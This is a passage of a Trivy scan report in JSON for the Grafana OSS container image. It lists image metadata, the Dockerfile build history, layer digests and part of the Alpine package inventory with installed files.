{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b919-9c68-70a6-ac9c-e44073300370", "CreatedAt": "2026-11-08T04:00:25.832044538+01:00", "ArtifactID": "sha256:6c61261cf7e411d88b52ec312d3ae03b48284e0131f4767a9091195646882664", "ArtifactName": "grafana/grafana-oss:latest", "ArtifactType": "container_image", "Metadata": { "Size": 1086464000, "OS": { "Family": "alpine", "Name": "3.23.4" }, "ImageID": "sha256:072d3db0101e9fa5776fa9c454d8221994aeedf43e9abebe6652f42bf19bdc59", "DiffIDs": [ "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1", "sha256:f44598caf9841407cb3d9b5de5d991c3db3c871625e30f5367d3899d26ad5335", "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229", "sha256:4922db1629c135e588a6d2ac42747850025e6cf9e672f2ec9443bc2e2cc6bda6", "sha256:e37f1c7e811084acf8533319eca38b4b4218749d1f4bcb50f9a014563cea2ee4", "sha256:d3d0b31f8230d5df3c2595e71799115de8a4c2408c5584a7d879c61241b988e2", "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd", "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed", "sha256:948c07dc48358eee104fb34df8f829b10d64b8b6f28b9845603c13800824c6e8", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:b9acf8e8bdd90afe484cc735c4b6307f7e4a7fb2314286a4ed9f9e99de3918e4" ], "RepoTags": [ "grafana/grafana-oss:latest" ], "RepoDigests": [ "grafana/grafana-oss@sha256:5dad0df181cb644a14e13617b913b261a54f7d4fd4510721dba420929f35bea2" ], "Reference": "grafana/grafana-oss:latest", "ImageConfig": { "architecture": "amd64", "created": "2026-06-02T11:40:36.568853761Z", "history": [ { "created": "2026-04-15T20:01:40Z", "created_by": "ADD alpine-minirootfs-3.23.4-x86_64.tar.gz / # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-15T20:01:40Z", "created_by": "CMD [\"/bin/sh\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "LABEL maintainer=Grafana Labs \u003chello@grafana.com\u003e", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "LABEL org.opencontainers.image.source=https://github.com/grafana/grafana", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "ARG GF_UID=472", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "ARG GF_GID=0", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "ENV PATH=/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GF_PATHS_CONFIG=/etc/grafana/grafana.ini GF_PATHS_DATA=/var/lib/grafana GF_PATHS_HOME=/usr/share/grafana GF_PATHS_LOGS=/var/log/grafana GF_PATHS_PLUGINS=/var/lib/grafana/plugins GF_PATHS_PROVISIONING=/etc/grafana/provisioning", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:39:57Z", "created_by": "WORKDIR /usr/share/grafana", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:02Z", "created_by": "RUN |2 GF_UID=472 GF_GID=0 /bin/sh -c apk add --no-cache ca-certificates bash bubblewrap curl tzdata musl-utils \u0026\u0026 apk info -vv | sort # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:02Z", "created_by": "ARG GLIBC_VERSION=2.40", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:40:05Z", "created_by": "RUN |3 GF_UID=472 GF_GID=0 GLIBC_VERSION=2.40 /bin/sh -c if [ \"$(arch)\" = \"x86_64\" ]; then curl -fsSL \"https://dl.grafana.com/glibc/glibc-bin-$GLIBC_VERSION.tar.gz\" | tar zxf - -C / usr/glibc-compat/lib/ld-linux-x86-64.so.2 usr/glibc-compat/lib/libc.so.6 usr/glibc-compat/lib/libdl.so.2 usr/glibc-compat/lib/libm.so.6 usr/glibc-compat/lib/libpthread.so.0 usr/glibc-compat/lib/librt.so.1 usr/glibc-compat/lib/libresolv.so.2 \u0026\u0026 mkdir /lib64 \u0026\u0026 ln -s /usr/glibc-compat/lib/ld-linux-x86-64.so.2 /lib64; fi # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:17Z", "created_by": "COPY /tmp/grafana/conf ./conf # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:20Z", "created_by": "RUN |3 GF_UID=472 GF_GID=0 GLIBC_VERSION=2.40 /bin/sh -c if [ ! \"$(getent group \"$GF_GID\")\" ]; then addgroup -S -g $GF_GID grafana; fi \u0026\u0026 GF_GID_NAME=$(getent group $GF_GID | cut -d':' -f1) \u0026\u0026 mkdir -p \"$GF_PATHS_HOME/.aws\" \u0026\u0026 adduser -S -u $GF_UID -G \"$GF_GID_NAME\" grafana \u0026\u0026 mkdir -p \"$GF_PATHS_PROVISIONING/datasources\" \"$GF_PATHS_PROVISIONING/dashboards\" \"$GF_PATHS_PROVISIONING/notifiers\" \"$GF_PATHS_PROVISIONING/plugins\" \"$GF_PATHS_PROVISIONING/access-control\" \"$GF_PATHS_PROVISIONING/alerting\" \"$GF_PATHS_LOGS\" \"$GF_PATHS_PLUGINS\" \"$GF_PATHS_HOME/data/plugins-bundled\" \"$GF_PATHS_DATA\" \u0026\u0026 cp conf/sample.ini \"$GF_PATHS_CONFIG\" \u0026\u0026 cp conf/ldap.toml /etc/grafana/ldap.toml \u0026\u0026 chown -R \"grafana:$GF_GID_NAME\" \"$GF_PATHS_DATA\" \"$GF_PATHS_HOME/.aws\" \"$GF_PATHS_LOGS\" \"$GF_PATHS_PLUGINS\" \"$GF_PATHS_PROVISIONING\" \"$GF_PATHS_HOME/data/plugins-bundled\" \u0026\u0026 chmod -R 777 \"$GF_PATHS_DATA\" \"$GF_PATHS_HOME/.aws\" \"$GF_PATHS_LOGS\" \"$GF_PATHS_PLUGINS\" \"$GF_PATHS_PROVISIONING\" \"$GF_PATHS_HOME/data/plugins-bundled\" # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:28Z", "created_by": "COPY /usr/share/grafana /usr/share/grafana # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:20Z", "created_by": "COPY /usr/share/grafana/data/plugins-bundled /usr/share/grafana/data/plugins-bundled # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:29Z", "created_by": "RUN |3 GF_UID=472 GF_GID=0 GLIBC_VERSION=2.40 /bin/sh -c grafana server -v | sed -e 's/Version //' \u003e /.grafana-version # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:36Z", "created_by": "RUN |3 GF_UID=472 GF_GID=0 GLIBC_VERSION=2.40 /bin/sh -c chmod 644 /.grafana-version # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:36Z", "created_by": "EXPOSE map[3000/tcp:{}]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:40:36Z", "created_by": "ARG RUN_SH=./packaging/docker/run.sh", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:40:36Z", "created_by": "COPY ./packaging/docker/run.sh /run.sh # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-06-02T11:40:36Z", "created_by": "USER 472", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-06-02T11:40:36Z", "created_by": "ENTRYPOINT [\"/run.sh\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1", "sha256:f44598caf9841407cb3d9b5de5d991c3db3c871625e30f5367d3899d26ad5335", "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229", "sha256:4922db1629c135e588a6d2ac42747850025e6cf9e672f2ec9443bc2e2cc6bda6", "sha256:e37f1c7e811084acf8533319eca38b4b4218749d1f4bcb50f9a014563cea2ee4", "sha256:d3d0b31f8230d5df3c2595e71799115de8a4c2408c5584a7d879c61241b988e2", "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd", "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed", "sha256:948c07dc48358eee104fb34df8f829b10d64b8b6f28b9845603c13800824c6e8", "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef", "sha256:b9acf8e8bdd90afe484cc735c4b6307f7e4a7fb2314286a4ed9f9e99de3918e4" ] }, "config": { "Entrypoint": [ "/run.sh" ], "Env": [ "PATH=/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GF_PATHS_CONFIG=/etc/grafana/grafana.ini", "GF_PATHS_DATA=/var/lib/grafana", "GF_PATHS_HOME=/usr/share/grafana", "GF_PATHS_LOGS=/var/log/grafana", "GF_PATHS_PLUGINS=/var/lib/grafana/plugins", "GF_PATHS_PROVISIONING=/etc/grafana/provisioning" ], "Labels": { "maintainer": "Grafana Labs \u003chello@grafana.com\u003e", "org.opencontainers.image.source": "https://github.com/grafana/grafana" }, "User": "472", "WorkingDir": "/usr/share/grafana", "ExposedPorts": { "3000/tcp": {} } } }, "Layers": [ { "Size": 8732160, "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, { "Size": 2560, "DiffID": "sha256:f44598caf9841407cb3d9b5de5d991c3db3c871625e30f5367d3899d26ad5335" }, { "Size": 9261056, "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, { "Size": 26550272, "DiffID": "sha256:4922db1629c135e588a6d2ac42747850025e6cf9e672f2ec9443bc2e2cc6bda6" }, { "Size": 280064, "DiffID": "sha256:e37f1c7e811084acf8533319eca38b4b4218749d1f4bcb50f9a014563cea2ee4" }, { "Size": 119808, "DiffID": "sha256:d3d0b31f8230d5df3c2595e71799115de8a4c2408c5584a7d879c61241b988e2" }, { "Size": 1001016832, "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, { "Size": 40492544, "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, { "Size": 2048, "DiffID": "sha256:948c07dc48358eee104fb34df8f829b10d64b8b6f28b9845603c13800824c6e8" }, { "Size": 1024, "DiffID": "sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef" }, { "Size": 5632, "DiffID": "sha256:b9acf8e8bdd90afe484cc735c4b6307f7e4a7fb2314286a4ed9f9e99de3918e4" } ] }, "Results": [ { "Target": "grafana/grafana-oss:latest (alpine 3.23.4)", "Class": "os-pkgs", "Type": "alpine", "Packages": [ { "ID": "alpine-baselayout@3.7.2-r0", "Name": "alpine-baselayout", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout@3.7.2-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ff3090489ca40326" }, "Version": "3.7.2-r0", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.7.2-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-baselayout-data@3.7.2-r0", "busybox-binsh@1.37.0-r30" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:545aa6f291209af89932b761d9e422c2778596cc", "InstalledFiles": [ "etc/motd", "etc/crontabs/root", "etc/modprobe.d/aliases.conf", "etc/modprobe.d/blacklist.conf", "etc/modprobe.d/i386.conf", "etc/profile.d/20locale.sh", "etc/profile.d/README", "etc/profile.d/color_prompt.sh.disabled", "usr/lib/sysctl.d/00-alpine.conf", "var/lock", "var/run", "var/spool/mail", "var/spool/cron/crontabs" ], "AnalyzedBy": "apk" }, { "ID": "alpine-baselayout-data@3.7.2-r0", "Name": "alpine-baselayout-data", "Identifier": { "PURL": "pkg:apk/alpine/alpine-baselayout-data@3.7.2-r0?arch=x86_64\u0026distro=3.23.4", "UID": "78c0ed61d7df9a7e" }, "Version": "3.7.2-r0", "Arch": "x86_64", "SrcName": "alpine-baselayout", "SrcVersion": "3.7.2-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:85816632dbce07ba7e9e7a629fa59eddbd1687fb", "InstalledFiles": [ "etc/fstab", "etc/group", "etc/hostname", "etc/hosts", "etc/inittab", "etc/modules", "etc/mtab", "etc/nsswitch.conf", "etc/passwd", "etc/profile", "etc/protocols", "etc/services", "etc/shadow", "etc/shells", "etc/sysctl.conf" ], "AnalyzedBy": "apk" }, { "ID": "alpine-keys@2.6-r0", "Name": "alpine-keys", "Identifier": { "PURL": "pkg:apk/alpine/alpine-keys@2.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "2c7cb90de388aa7d" }, "Version": "2.6-r0", "Arch": "x86_64", "SrcName": "alpine-keys", "SrcVersion": "2.6-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:5c45a821cd6b84d543bbd7ff12a7de1855c5cd13", "InstalledFiles": [ "etc/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "etc/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-58199dcc.rsa.pub", "usr/share/apk/keys/aarch64/alpine-devel@lists.alpinelinux.org-616ae350.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armhf/alpine-devel@lists.alpinelinux.org-616a9724.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-524d27bb.rsa.pub", "usr/share/apk/keys/armv7/alpine-devel@lists.alpinelinux.org-616adfeb.rsa.pub", "usr/share/apk/keys/loongarch64/alpine-devel@lists.alpinelinux.org-66ba20fe.rsa.pub", "usr/share/apk/keys/mips64/alpine-devel@lists.alpinelinux.org-5e69ca50.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-58cbb476.rsa.pub", "usr/share/apk/keys/ppc64le/alpine-devel@lists.alpinelinux.org-616abc23.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-60ac2099.rsa.pub", "usr/share/apk/keys/riscv64/alpine-devel@lists.alpinelinux.org-616db30d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-58e4f17d.rsa.pub", "usr/share/apk/keys/s390x/alpine-devel@lists.alpinelinux.org-616ac3bc.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-5243ef4b.rsa.pub", "usr/share/apk/keys/x86/alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-5261cecb.rsa.pub", "usr/share/apk/keys/x86_64/alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub" ], "AnalyzedBy": "apk" }, { "ID": "alpine-release@3.23.4-r0", "Name": "alpine-release", "Identifier": { "PURL": "pkg:apk/alpine/alpine-release@3.23.4-r0?arch=x86_64\u0026distro=3.23.4", "UID": "114fb0bc8cc9ff31" }, "Version": "3.23.4-r0", "Arch": "x86_64", "SrcName": "alpine-base", "SrcVersion": "3.23.4-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alpine-keys@2.6-r0" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:7ff0b58e52211bb31a84e2afdbcbff0620df55a1", "InstalledFiles": [ "etc/alpine-release", "etc/issue", "etc/os-release", "etc/secfixes.d/alpine", "usr/lib/os-release" ], "AnalyzedBy": "apk" }, { "ID": "apk-tools@3.0.6-r0", "Name": "apk-tools", "Identifier": { "PURL": "pkg:apk/alpine/apk-tools@3.0.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "760256a5bdd94a07" }, "Version": "3.0.6-r0", "Arch": "x86_64", "SrcName": "apk-tools", "SrcVersion": "3.0.6-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "ca-certificates-bundle@20260413-r0", "libapk@3.0.6-r0", "libcrypto3@3.5.6-r0", "musl@1.2.5-r23", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:86f3b3ef94d1cb213a4ed1187b34a6bb9f593033", "InstalledFiles": [ "sbin/apk" ], "AnalyzedBy": "apk" }, { "ID": "bash@5.3.3-r1", "Name": "bash", "Identifier": { "PURL": "pkg:apk/alpine/bash@5.3.3-r1?arch=x86_64\u0026distro=3.23.4", "UID": "451f31c306c2b607" }, "Version": "5.3.3-r1", "Arch": "x86_64", "SrcName": "bash", "SrcVersion": "5.3.3-r1", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r30", "musl@1.2.5-r23", "readline@8.3.1-r0" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:8e9ab21d4dfbe0faa8151517bd855b63b4e3301c", "InstalledFiles": [ "bin/bash", "etc/bash/bashrc", "etc/profile.d/00-bashrc.sh", "usr/lib/bash/accept", "usr/lib/bash/basename", "usr/lib/bash/chmod", "usr/lib/bash/csv", "usr/lib/bash/cut", "usr/lib/bash/dirname", "usr/lib/bash/dsv", "usr/lib/bash/fdflags", "usr/lib/bash/finfo", "usr/lib/bash/fltexpr", "usr/lib/bash/getconf", "usr/lib/bash/head", "usr/lib/bash/id", "usr/lib/bash/kv", "usr/lib/bash/ln", "usr/lib/bash/logname", "usr/lib/bash/mkdir", "usr/lib/bash/mkfifo", "usr/lib/bash/mktemp", "usr/lib/bash/mypid", "usr/lib/bash/pathchk", "usr/lib/bash/print", "usr/lib/bash/printenv", "usr/lib/bash/push", "usr/lib/bash/realpath", "usr/lib/bash/rm", "usr/lib/bash/rmdir", "usr/lib/bash/seq", "usr/lib/bash/setpgid", "usr/lib/bash/sleep", "usr/lib/bash/stat", "usr/lib/bash/strftime", "usr/lib/bash/strptime", "usr/lib/bash/sync", "usr/lib/bash/tee", "usr/lib/bash/truefalse", "usr/lib/bash/tty", "usr/lib/bash/uname", "usr/lib/bash/unlink", "usr/lib/bash/whoami" ], "AnalyzedBy": "apk" }, { "ID": "brotli-libs@1.2.0-r0", "Name": "brotli-libs", "Identifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.2.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "234da2b3c350083b" }, "Version": "1.2.0-r0", "Arch": "x86_64", "SrcName": "brotli", "SrcVersion": "1.2.0-r0", "Licenses": [ "MIT" ], "Maintainer": "prspkt \u003cprspkt@protonmail.com\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:0814694602f35d2741e916fdcb4c9a1e0ec50b42", "InstalledFiles": [ "usr/lib/libbrotlicommon.so.1", "usr/lib/libbrotlicommon.so.1.2.0", "usr/lib/libbrotlidec.so.1", "usr/lib/libbrotlidec.so.1.2.0", "usr/lib/libbrotlienc.so.1", "usr/lib/libbrotlienc.so.1.2.0" ], "AnalyzedBy": "apk" }, { "ID": "bubblewrap@0.11.0-r2", "Name": "bubblewrap", "Identifier": { "PURL": "pkg:apk/alpine/bubblewrap@0.11.0-r2?arch=x86_64\u0026distro=3.23.4", "UID": "ce712147227a9621" }, "Version": "0.11.0-r2", "Arch": "x86_64", "SrcName": "bubblewrap", "SrcVersion": "0.11.0-r2", "Licenses": [ "LGPL-2.0-or-later" ], "Maintainer": "Celeste \u003ccielesti@protonmail.com\u003e", "DependsOn": [ "libcap2@2.78-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:09d001849b039bff66dc8c9bfcb6ec2e1a9fee25", "InstalledFiles": [ "usr/bin/bwrap" ], "AnalyzedBy": "apk" }, { "ID": "busybox@1.37.0-r30", "Name": "busybox", "Identifier": { "PURL": "pkg:apk/alpine/busybox@1.37.0-r30?arch=x86_64\u0026distro=3.23.4", "UID": "9647681d0b54db77" }, "Version": "1.37.0-r30", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r30", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:f1347801bb96b1aa40d17f82237c3f4ff02a4725", "InstalledFiles": [ "bin/busybox", "etc/securetty", "etc/busybox-paths.d/busybox", "etc/logrotate.d/acpid", "etc/network/if-up.d/dad", "etc/udhcpc/udhcpc.conf", "usr/share/udhcpc/default.script" ], "AnalyzedBy": "apk" }, { "ID": "busybox-binsh@1.37.0-r30", "Name": "busybox-binsh", "Identifier": { "PURL": "pkg:apk/alpine/busybox-binsh@1.37.0-r30?arch=x86_64\u0026distro=3.23.4", "UID": "3e18d05d46a6f46f" }, "Version": "1.37.0-r30", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r30", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "busybox@1.37.0-r30" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:188d2d0110afa58e8a3e3e5fd424b2d996df7a09", "InstalledFiles": [ "bin/sh" ], "AnalyzedBy": "apk" }, { "ID": "c-ares@1.34.6-r0", "Name": "c-ares", "Identifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "5be96d5420bec243" }, "Version": "1.34.6-r0", "Arch": "x86_64", "SrcName": "c-ares", "SrcVersion": "1.34.6-r0", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:e3bb3ff47a277ff9409b8c4bb825099cfe2bcbe2", "InstalledFiles": [ "usr/lib/libcares.so.2", "usr/lib/libcares.so.2.19.5" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates@20260413-r0", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates@20260413-r0?arch=x86_64\u0026distro=3.23.4", "UID": "63ca5aff4886266d" }, "Version": "20260413-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20260413-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r30", "libcrypto3@3.5.6-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:af25e0f0a0412b141942909ed199144cc46f5bbc", "InstalledFiles": [ "etc/ca-certificates.conf", "etc/apk/protected_paths.d/ca-certificates.list", "etc/ca-certificates/update.d/certhash", "usr/bin/c_rehash", "usr/sbin/update-ca-certificates", "usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt", "usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "usr/share/ca-certificates/mozilla/Certigna.crt", "usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", 